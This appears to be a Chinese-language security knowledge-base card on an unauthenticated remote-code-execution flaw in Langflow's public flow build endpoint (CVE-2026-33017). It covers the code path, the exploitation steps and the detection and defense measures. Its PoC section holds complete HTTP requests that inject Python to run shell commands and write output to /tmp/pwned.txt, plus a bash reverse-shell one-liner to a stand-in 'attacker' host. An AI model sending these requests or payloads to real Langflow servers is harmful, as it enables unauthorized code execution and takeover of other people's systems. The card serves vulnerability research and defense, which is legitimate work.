♧ Godown 安全知识树

Langflow build_public_tmp 未认证 data 参数直达自定义组件 exec:公开流程端点 RCE(CVE-2026-33017)

ai-security/agent-security · verified

一句话结论

Langflow 1.6.8 的 POST /api/v1/build_public_tmp/{flow_id}/flow 为支持嵌入式公共流程,接受攻击者可控的 data 节点定义且没有 current_user 认证依赖;data.nodes[].data.node.template.code.value 会一路传到 exec() 执行,未登录攻击者只要有一个有效公开 flow_id(默认 AUTO_LOGIN=true 时可自行创建)即可在服务端执行任意 Python 代码。

原理

  • 端点缺认证:build_public_tmp() 与有认证的 build_flow() 唯一关键差别是不注入 current_user: CurrentActiveUser。它仍会调用 verify_public_flow_and_get_user() 校验 flow_id 对应公开流程,但不校验调用者身份。
  • data 参数可控:该端点多出一个 data: FlowDataRequest | None,攻击者可在 HTTP Body 中携带完整节点定义;该参数被原样传给 start_flow_build(data=data, ...)。
  • 图构建路径:generate_flow_events() 内的 create_graph() 判断 if not data 时从数据库读流程(安全路径),否则执行 data.model_dump() → build_graph_from_data() → Graph.from_payload() → add_nodes_and_edges() → initialize() → _build_graph() → _build_vertex_params() → _instantiate_components_in_vertices()。
  • 代码提取:Vertex.instantiate_component() 调用 loading.instantiate_class(),后者 custom_params.pop("code") 取出攻击者字符串,交给 eval_custom_component_code() → validate.create_class()。
  • exec sink:create_class() 先 ast.parse(code)(仅语法检查),再 prepare_global_scope(module)。该函数 exec_globals = globals().copy(),对 ast.Import/ImportFrom 无模块白名单,把 ast.ClassDef/FunctionDef/Assign 收入 definitions,compile() 后 exec(compiled_code, exec_globals)。无 __builtins__ 限制、无沙箱,代码拥有与 Langflow 后端进程相同权限。
  • 关键语法限制:只有 ast.Assign 等定义节点会执行,独立表达式(ast.Expr)被静默跳过。因此 os.system("id") 单独写不会执行,必须写成赋值,例如 _r = os.system("id");链式赋值可把多个操作塞进同一个 Assign 右侧。
  • 默认配置放大:AUTO_LOGIN=true 时任何人可调用 /api/v1/auto_login 获取令牌,再创建 access_type=PUBLIC 的流程拿到 flow_id,实现完全自给自足的未认证利用;真实目标也可从公开分享链接提取 flow_id。

触发条件

  • 运行受影响版本 Langflow(原文复现 1.6.8,修复版本 1.9.0 移除了 data 参数)。
  • /api/v1/build_public_tmp/{flow_id}/flow 可从攻击者网络访问。
  • 存在一个公开流程,或 AUTO_LOGIN=true 允许攻击者自行创建;flow_id 可通过公开分享链接或创建接口获得。
  • 后端允许自定义 Python 组件(Langflow 默认功能)。
  • 无需登录凭据。

利用步骤

  1. 若目标开启 AUTO_LOGIN,调用 /api/v1/auto_login 获取 Bearer token;否则从目标公开分享的流程 URL 中提取 flow_id。
  2. 调用 POST /api/v1/flows/ 创建一个 access_type=PUBLIC 的空流程,响应中取 id 作为 flow_id。
  3. 构造恶意 data:nodes[0].data.node.template.code.value 放入“赋值形式的命令执行 + Component 骨架”。
  4. 发送 POST /api/v1/build_public_tmp/{flow_id}/flow,带 Cookie: client_id=attacker 与 data。
  5. 服务端在图构建阶段即实例化节点并 exec() 代码,不需要等流程真正运行;命令输出可写入文件或反弹 shell。
  6. 进入容器/主机验证 /tmp/pwned.txt 或反弹连接,确认权限为 Langflow 进程用户。

PoC

初始化与创建公开流程(AUTO_LOGIN 场景):

POST /api/v1/auto_login HTTP/1.1
Host: target:7860
POST /api/v1/flows/ HTTP/1.1
Host: target:7860
Authorization: Bearer <token>
Content-Type: application/json

{"name":"test-public","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}

触发 RCE:

POST /api/v1/build_public_tmp/<flow_id>/flow HTTP/1.1
Host: target:7860
Content-Type: application/json
Cookie: client_id=attacker

{
  "data": {
    "nodes": [{
      "id": "n1",
      "type": "genericNode",
      "data": {
        "id": "n1",
        "type": "Stub",
        "node": {
          "template": {
            "code": {
              "type": "code", "required": true, "show": true, "multiline": true,
              "name": "code",
              "value": "import os\n_r = open('/tmp/pwned.txt','w').write(os.popen('id && hostname').read())\nfrom langflow.custom import Component\nfrom langflow.io import Output\nfrom langflow.schema import Data\nclass Stub(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n    def r(self) -> Data:\n        return Data(data={})"
            }
          }
        }
      }
    }],
    "edges": []
  }
}

响应返回 job_id 即表示 graph 构建已启动;随后在容器内 cat /tmp/pwned.txt 可看到 uid=... 与主机名(原文实测为 uid=1000(user) gid=0(root))。反弹 shell 只需把 _r = ... 换成 os.system("bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'")。

变体与关联

  • 第二处执行点:build_class_constructor() 对类体再做一次 exec(compiled_class, exec_globals, exec_locals),可在 Component 子类的类体/元类中放置载荷,绕过只检查顶层 Assign 的防护思路。
  • 已认证用户也可通过其它接受 data 的构建接口到达同一 exec();本卡的独特之处是公开端点移除了认证。
  • Component 骨架用于通过后续 Component 子类扫描与类型检查;即使骨架异常,顶层 Assign 已在 prepare_global_scope() 中执行完毕。
  • 与 [[ai-security-agent-security-langgraph-checkpoint-json-fallback-rce]]、[[ai-security-agent-security-letta-running-message-eval-rce]] 同属 AI 平台把用户可控数据送进 exec/eval 的模式。
  • 边界:需要有效公开 flow_id;若目标关闭公开流程且 AUTO_LOGIN=false,需先通过其它方式获得一个公开流程 ID。

检测与防御

  • 升级到 1.9.0+;修复版移除 build_public_tmp 的 data 参数,强制 data=None 走数据库可信流程路径。
  • 关闭 AUTO_LOGIN,强制认证;限制公开流程功能,或要求公开流程只能使用预置组件、不可携带自定义代码。
  • 若必须保留自定义组件,将代码执行放入隔离沙箱(受限 builtins、独立低权限进程/容器、禁网),不要把 globals().copy() 作为执行上下文。
  • 输入侧:拒绝 build_public_tmp 请求体中出现 data.nodes[].data.node.template.code;对流程定义做结构白名单校验。
  • 检测:未认证请求命中 build_public_tmp 且 body 含 template.code/exec/subprocess/os.system;Langflow 进程异常派生子进程、访问 /tmp 写入或外连;AUTO_LOGIN 后立即创建 PUBLIC 流程并调用 build 的异常序列。